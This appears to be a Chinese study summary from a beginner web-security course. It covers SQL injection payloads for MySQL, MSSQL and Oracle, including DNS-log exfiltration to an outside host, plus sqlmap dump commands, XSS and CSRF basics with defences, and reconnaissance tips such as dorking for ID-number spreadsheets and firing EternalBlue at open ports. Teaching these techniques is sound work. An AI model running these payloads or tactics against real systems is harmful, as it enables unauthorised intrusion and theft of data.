阶段总结

sql注入

sql注入的本质:是把用户输入的数据当做代码去执行。
sql注入的条件:1.用户能够控制输入
		   	  2.原本执行的代码,拼接了用户输入的数据去执行。
		 
判断注入的方法:1.and 1=1 and 1=2 页面错误说明存在注入
				2.id =1' 引号被执行说明存在注入
				2.id =1y与id =2-1的界面相同说明存在注入
			
sql注入的分类:1.显错注入:get注入和post注入是两种传参方式,post是通过登录框进行传参,get是通过在url栏里进行传参,head注入可以通过这三种方式进行传参
						cookie注入是一个cookie设置在cookie设置里进行传参
			   联合查询  回显点是3,有3个字段时,根据环境出现'"需要闭合,没有引号就不用
						爆库名 ‘union select 1,2,database()#
						爆表名 ‘union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#
						爆字段名‘union select 1,2,group_concat(column_name)from information_schema.columns where table_name=’flag’#
						爆内容 ‘union select 1,2,group_concat(flag)from flag#
		   2.盲注:	   布尔盲注、延时注入
			   爆库名长度 and length(database())=12
			   判断库名 And ascii(substr(database(),1,1))=107  k
			   判断表名 And ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108   l
			   工具sqlmap跑内容 sqlmap -u url --dump -C flaglo -T loflag -D kanwolongxia
		   3.宽字节注入    (group_concat函数的使用,将查询到的所有内容放到一行且用逗号隔开)
					  汉'的作用是为了绕出魔术引号
			   爆库名 汉' union select 1,database(),database() --+
			   爆表名 汉' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
			   爆列名 汉' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167
			   爆内容 汉' union select 1,2,group_concat(C_Flag) from china_flag 
		   4.cookie
			   使用函数  document.cookie="id="+escape("xxx order by xx") 
			偏移注入			 admin.*
		   5.MYsql-DNS注入
			   爆库名 And load_file(concat(‘//’,(select database()),’.02nz91.dnslog.cn//abc’)) 
			   爆表名 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit0,1),'.02nz91.dnslog.cn//abc')) 
			   第二个表and load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.02nz91.dnslog.cn//abc'))
			   爆字段 and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 3,1),'.02nz91.dnslog.cn//abc'))
			   爆内容 and load_file(concat('//',(select password from admin limit 0,1),'.02nz91.dnslog.cn//abc')) 
		   6.MSsql反弹注入
			   爆库名 union all select dbid,name,null from master.dbo.sysdatabases
			   爆表名 union all select id,name,null from dbo.sysobjects where xtype='U'
			   爆字段 union all select null,name,null from dbo.syscolumns where id=1977058079
			   爆内容 union all select null,passwd,null from admin
		   7.oracle报错&显错注入
			   查询表 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
			   查询第二个表 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS' ))
			   查询admin表的字段 And 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1))
			   admin表的第二个字段 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name='ADMIN' and column_name<>'ID'))
			   admin表的第三个字段  and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name='ADMIN' and column_name <>'ID' and column_name <> 'UNAME'and column_name <>'UPASS'))
			   查询表的内容 and 1= ctxsys.drithsx.sn(1,(select uname from admin where rownum=1))
			   and 1= ctxsys.drithsx.sn(1,(select uname from admin where rownum=1 and uname<>'我是管理员'))
			   and 1=ctxsys.drithsx.sn(1,(select uname from admin where rownum=1and uname<>'我是管理员'and uname <>'admin')) -- qwe
			   查找nf的密码 and 1=ctxsys.drithsx.sn(1,(select upass from admin where rownum=1and uname='NF')) -- qwe

sql注入使用的函数:

	1.通用:group_concat()将列显示的数据,行显示,limit n,m /将查询到的数据凡在一行,用逗号隔开。
	2.报错注入:updatexml(1,concat)0x7e,(select database()),0x7e),1)
	3.布尔盲注:ascii(substr(database(),1,1))
	4.延时盲注:if(ascii(substr(database(),1,1))>1,sleep(5),'a')
	5.cookie 偏移注入:document.cookie="id"=+escape('xxx')、exists()
			file_exists() 函数检查文件或目录是否存在
	6.DNS注入:load_file()//读取一个文件并将其内容作为字符串返回
	7.MSSQL反弹:opendatasource('sqloledb','') //向sql服务器发送东西
	8.oracel报错: and 1= ctxsys.drithsx.sn()
	oracle报错常用语句:
			1.select*from user_tables 查询当前用户的表
			2.select*from user_tab_columns 查询当前用户表里的字段
			3.select*from all_tables  查询所有表
			4.select*from all_tab_columns  查询所有字段

sql注入的危害:

最直接的危害:可以获得数据库的数据
				 还可以提权

防御:主流的防御:正则匹配过滤(有效的正则过滤可以很好的防御注入,(sql注入、xss注入(html注入)、xee注入)) 
			数据库预处理

sql注入使用的工具: sqlmap burp
sqlmap使用

		一、跑url(-u)
				判断有无注入
					sqlmap -u  url
				爆库名
					sqlmap -u url --dbs
				爆表名
					(推荐)sqlmap -u url --tables -D a1	//爆出a1库中的所有表名
					
					sqlmap -u url --tables		//爆出所有库中所有表名
					
				爆字段
					sqlmap -u url --columns -T a2 -D a1  //爆出数据库a1中,a2表中所有字段名
				爆内容
					sqlmap -u url --dump -C a3 -T a2 -D a1   //爆出a1数据库中,a2表中,a3字段中所有内容
					//-C -D -T 顺序无所谓
										
		二、跑文件
				判断有无注入
					sqlmap -r /root/桌面/1.txt
				爆库名
					sqlmap -r /root/桌面/1.txt --dbs
				爆表名
					(推荐)sqlmap -r /root/桌面/1.txt --tables -D a1	//爆出a1库中的所有表名
					
					sqlmap -r /root/桌面/1.txt --tables		//爆出所有库中所有表名
					
				爆字段
					sqlmap -r /root/桌面/1.txt --columns -T a2 -D a1  //爆出数据库a1中,a2表中所有字段名
				爆内容
					sqlmap -r /root/桌面/1.txt --dump -C a3 -T a2 -D a1   //爆出a1数据库中,a2表中,a3字段中所有内容
					//-C -D -T 顺序无所谓
										  
		三、其他参数
						--threads x 	(x可以是1-10)	//线程得意思,数越大越快
						
						--level x	(x可以是1-5,实战推荐用3)  //检测力度的意思,越大检测越全
						
						
						*		//精确打击,在可能存在注入的地方后面加*
							示例:sqlmap -u url/id/3*.html
								  sqlmap -u url?id=3*

						--flush-session //清除缓存
						flag'lo --dbsta	

xss注入

xss注入的本质:用户输入的数据作为前端代码去执行
xss注入的条件:1.用户能够控制输入
				2.用户输入的数据拼接了前端代码去执行
				
xss判断注入的方法:1.标签触发  //‘ onfocus=alert(1) autofocus //  当你获取焦点的时候会自动触发,一直弹窗 
			   2.存储型  
			    弹窗语句  
				xss平台语句 '">
			   3.Dom型
			   弹窗语句 转为native编码
			   xss平台语句 转码
	xss危害:主要危害是:盗取cookie
			 获取内网ip
			 获取浏览器保存的明文密码
			 截取网页屏幕,网页上的键盘记录
			 
	xss防御:正则表达式过滤< > " ' 这四个符号
			 限制输入长度			 
			 用HTML实体编码	:		 用特殊的字符串代替  <>'"等符号

			
csrf和xss的区别
    xss式操作目标网站的前端代码,到期cookie,而csrf是让浏览器偷偷的访问目标网站,利用cookie


csrf危害:最常见的:攻击者盗用了你的身份,以你的名义发送恶意代码请求,以你的名义发送邮件,发消息,盗取你的账号
		  甚至购买商品,虚拟货币转账等。会造成的问题:个人隐私泄露以及财产安全
		  
攻击过程:访问a网页同时没有退出账号时即cookie未失效的时候,访问b网页,因为b网页有恶意代码,并且让你的浏览器访问a网页,
		  a网页没有csrf防范,执行了b网页的代码,在不知道的情况下就被攻击了。

csrf防御:(1)方案一:

				a、服务器在cookie中添加一个变量,并赋值一段字符串

				b、页面获取字符串,并通过隐藏的方式将该字符串传递给后台

				c、服务器判断有无字符串

				 结论:有字符串,说明不是模拟的,没有则说明是crsf攻击

				 备注:安全系数很高,但是还是有点点隐患,这段字符串可能被盗

		  (2)方案二:(验证码)

					要提交的页面通过验证码进行验证

		  (3)方案三:在页面生成密码,传给后台作处理

信息收集

有效的信息收集可以很好的扩大攻击面积
信息收集的内容:端口扫描、子域名收集、目录扫描是挖掘src的核心
				1.whois信息
					顶级域名谁注册的,还注册了哪些网站	
					大学网址一般由教育部统一注册,		(正常来说whois查不到关于大学的信息)
				2.子域名
					com(用于商业公司);
					net(用于网络服务); 主站存在waf而子站可能不存在,所以会更好攻击
					org(用于组织协会等);
					gov (用于政府部门);
					edu(用于教育机构);
					mil(用于军事领域);
					int(用于国际组织);
					cn (中国)
					注意:edu也是顶级域名,但是edu.cn是二级域名
				3.端口探测
					~代表不同的服务或者网站
					~默认端口可以修改
					nmap不授权的公司尽量不要扫,但可以扫src
					(awvs,appscan这样的扫描器不能用来扫src)
					nmap扫到开启里危险端口的话,如455 可以直接用msf的永恒之蓝打一下,说不定直接拿到服务器的最高权限
				4.目标扫描
					扫出后台可以试试弱密码,书补丁直接登录
					还有可能扫除数据库的文件,直接下载,连sql注入都不用了
					还有可能扫出一些敏感路径,直接未授权访问(就是普通用户访问到了管理员才可以访问的页面)
					~跑一个网站的其他网页、备份目录(文件夹)
					~用御剑扫描目录		注意延时扫描可以防止被拉黑IP
					~勾选200与403(有些文件(夹)存在但显示错误,可以在此重新测试)
						当然403也会误报,403状态码是权限不足的意思
					
				~robots.txt,君子协议,假如太详细的话可以进行利用

			5.指纹识别
			看看目标网站是什么CMS、什么中间件、什么数据库了等等
			知道目标网站的cms,可以去百度XXcmd的漏洞,或者试试能不能下载源码进行白盒子审计
			6.旁站查询
			同一IP的不同网站,可能都在同一服务器上,也可能在同一内网
			7.c段扫描
			同一网段的其他IP
			8.敏感信息泄露
			主要是谷歌语法
			常用的谷歌语法
			1,	~site:(指定域名)
					例如:size:edu.cn
					结果:都是edu.cn的网站
					
			2,~inurl:(指定url)	
					例如:
						inurl:'.php?id=123' 公司			//这是找sql注入的一种方法
						  或者 inurl:'.asp?id=123' 公司		//这是找sql注入的一种方法
					
			3,~filetype=(指定文件类型)
					例如:site:edu.cn filetype:xls
					
					稍微极端点:
								site:edu.cn filetype:xls 身份证号
								site:edu.cn filetype:xls 身份证号 199601
								site:edu.cn filetype:doc 手册
								site:edu.cn filetype:doc 手册 默认密码

信息收集

信息收集的方法
				1,whois在线、企查查、天眼查
				2,端口
					~分类:
						~物理端口	(比如:usb端口等等)
						~逻辑端口	(主要利用这个)
					~探测:
						~nmap命令
						~在线网站
								例如:查出开放21端口,可以直接ftp://IP	连接试试,也可用九头蛇爆破
				3,旁站、C段
						~站长工具
						~结果不一定准,域名换一个IP很简单。
								改变指向只需要几秒,十几分钟就可以在全世界生效
				4,指纹识别
						~https://whatweb.net						//国外··
						~http://whatweb.bugscaner.com/look/			//国外··
						~http://www.yunsee.cn/finger.html			//国内
										//多试试几个网站,一个站可能不全
				5,谷歌语法
				~再百度上一样用,当然 最好是谷歌引擎

信息收集的方法

			1,whois在线、企查查、天眼查
			2,端口
				~分类:
					~物理端口	(比如:usb端口等等)
					~逻辑端口	(主要利用这个)
				~探测:
					~nmap命令
					~在线网站
							例如:查出开放21端口,可以直接ftp://IP	连接试试,也可用九头蛇爆破
			3,旁站、C段
					~站长工具
					~结果不一定准,域名换一个IP很简单。
							改变指向只需要几秒,十几分钟就可以在全世界生效
			4,指纹识别
					~https://whatweb.net						//国外··
					~http://whatweb.bugscaner.com/look/			//国外··
					~http://www.yunsee.cn/finger.html			//国内
									//多试试几个网站,一个站可能不全
			5,谷歌语法
			~再百度上一样用,当然 最好是谷歌引擎		
常用端口:
		80端口:http协议3306端口:mysql1433端口:mssql 1521端口:oracle
		445端口:共享文件或共享打印机 22端口:ssh 443端口:网页浏览
		8080端口:www代理服务 6379端口:redis 3389端口:远程服务
		20、21端口:主要用于ftp,问价传输协议 21端口用于连接,20端口用于传输数据
		默认端口:默认设置(可改动)

你可能感兴趣的:(安全入门)